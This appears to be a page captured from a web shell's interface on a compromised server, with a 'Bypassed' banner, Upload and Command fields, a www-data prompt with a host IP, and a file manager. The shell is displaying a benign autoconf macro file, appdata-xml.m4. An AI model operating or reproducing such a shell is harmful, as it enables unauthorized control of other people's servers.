[ Avaa Bypassed ]




Upload:

Command:

www-data@18.217.0.242: ~ $
# appdata-xml.m4
#
# serial 5

dnl APPDATA_XML
dnl Installs and validates AppData XML files.
dnl
dnl Call APPDATA_XML in configure.ac to check for the appdata-validate tool.
dnl Add @APPDATA_XML_RULES@ to a Makefile.am to substitute the make rules. Add
dnl .appdata.xml files to appdata_XML in Makefile.am and they will be validated
dnl at make check time, if appdata-validate is installed, as well as installed
dnl to the correct location automatically. Add --enable-appdata-validate to
dnl DISTCHECK_CONFIGURE_FLAGS in Makefile.am to require valid AppData XML when
dnl doing a distcheck.
dnl
dnl Adding files to appdata_XML does not distribute them automatically.

AU_DEFUN([APPDATA_XML],
[
  m4_pattern_allow([AM_V_GEN])
  AC_ARG_ENABLE([appdata-validate],
                [AS_HELP_STRING([--disable-appdata-validate],
                                [Disable validating AppData XML files during check phase])])

  AS_IF([test "x$enable_appdata_validate" != "xno"],
        [AC_PATH_PROG([APPSTREAM_UTIL], [appstream-util])
         AS_IF([test "x$APPSTREAM_UTIL" = "x"],
               [have_appdata_validate=no],
               [have_appdata_validate=yes
                AC_SUBST([APPSTREAM_UTIL])])],
        [have_appdata_validate=no])

  AS_IF([test "x$have_appdata_validate" != "xno"],
        [appdata_validate=yes],
        [appdata_validate=no
         AS_IF([test "x$enable_appdata_validate" = "xyes"],
               [AC_MSG_ERROR([AppData validation was requested but appstream-util was not found])])])

  AC_SUBST([appdataxmldir], [${datadir}/metainfo])

  APPDATA_XML_RULES='
.PHONY : uninstall-appdata-xml install-appdata-xml clean-appdata-xml

mostlyclean-am: clean-appdata-xml

%.appdata.valid: %.appdata.xml
	$(AM_V_GEN) if test -f "$<"; then d=; else d="$(srcdir)/"; fi; \
		if test -n "$(APPSTREAM_UTIL)"; \
			then $(APPSTREAM_UTIL) --nonet validate $${d}$<; fi \
		&& touch [$]@

check-am: $(appdata_XML:.appdata.xml=.appdata.valid)
uninstall-am: uninstall-appdata-xml
install-data-am: install-appdata-xml

.SECONDARY: $(appdata_XML)

install-appdata-xml: $(appdata_XML)
	@$(NORMAL_INSTALL)
	if test -n "$^"; then \
		test -z "$(appdataxmldir)" || $(MKDIR_P) "$(DESTDIR)$(appdataxmldir)"; \
		$(INSTALL_DATA) $^ "$(DESTDIR)$(appdataxmldir)"; \
	fi

uninstall-appdata-xml:
	@$(NORMAL_UNINSTALL)
	@list='\''$(appdata_XML)'\''; test -n "$(appdataxmldir)" || list=; \
	files=`for p in $$list; do echo $$p; done | sed -e '\''s|^.*/||'\''`; \
	test -n "$$files" || exit 0; \
	echo " ( cd '\''$(DESTDIR)$(appdataxmldir)'\'' && rm -f" $$files ")"; \
	cd "$(DESTDIR)$(appdataxmldir)" && rm -f $$files

clean-appdata-xml:
	rm -f $(appdata_XML:.appdata.xml=.appdata.valid)
'
  _APPDATA_XML_SUBST(APPDATA_XML_RULES)
],
[Use the new APPSTREAM_XML macro instead of APPDATA_XML in configure.ac, and
 replace @APPDATA_XML_RULES@ with @APPSTREAM_XML_RULES@, appdata_XML with
 appstream_XML and --enable-appdata-validate with --enable-appstream-validate
 in Makefile.am])

dnl _APPDATA_XML_SUBST(VARIABLE)
dnl Abstract macro to do either _AM_SUBST_NOTMAKE or AC_SUBST
AC_DEFUN([_APPDATA_XML_SUBST],
[
AC_SUBST([$1])
m4_ifdef([_AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE([$1])])
]
)

Filemanager

Name Type Size Permission Actions
appdata-xml.m4 File 3.11 KB 0644
appstream-xml.m4 File 2.94 KB 0644
expat.m4 File 1.41 KB 0644
gettext.m4 File 14.15 KB 0644
glib-2.0.m4 File 8.17 KB 0644
glib-gettext.m4 File 15.38 KB 0644
gpg-error.m4 File 7.98 KB 0644
gpgrt.m4 File 3.99 KB 0644
gsettings.m4 File 3.5 KB 0644
gtk-3.0.m4 File 8.03 KB 0644
host-cpu-c-abi.m4 File 21.91 KB 0644
iconv.m4 File 9.5 KB 0644
intlmacosx.m4 File 3.15 KB 0644
introspection.m4 File 5.01 KB 0644
lib-ld.m4 File 5.24 KB 0644
lib-link.m4 File 33.99 KB 0644
lib-prefix.m4 File 11.66 KB 0644
libcurl.m4 File 10.91 KB 0644
libgcrypt.m4 File 6.1 KB 0644
libtool.m4 File 299.85 KB 0644
libxml2.m4 File 7.72 KB 0644
ltargz.m4 File 2.61 KB 0644
ltdl.m4 File 29.36 KB 0644
ltoptions.m4 File 14.18 KB 0644
ltsugar.m4 File 4.29 KB 0644
ltversion.m4 File 714 B 0644
lt~obsolete.m4 File 6.01 KB 0644
mm-ax_cxx_compile_stdcxx.m4 File 19.1 KB 0644
mm-ax_cxx_compile_stdcxx_11.m4 File 5.66 KB 0644
mm-common.m4 File 1.64 KB 0644
mm-dietlib.m4 File 4.57 KB 0644
mm-doc.m4 File 10.27 KB 0644
mm-module.m4 File 3.25 KB 0644
mm-pkg.m4 File 3.87 KB 0644
mm-warnings.m4 File 4.56 KB 0644
nls.m4 File 1.21 KB 0644
nspr.m4 File 2.76 KB 0644
pkg.m4 File 10.01 KB 0644
po.m4 File 18.39 KB 0644
progtest.m4 File 3.02 KB 0644
vala.m4 File 4.46 KB 0644
vapigen.m4 File 3.4 KB 0644
wayland-scanner.m4 File 428 B 0644
xtrans.m4 File 6.38 KB 0644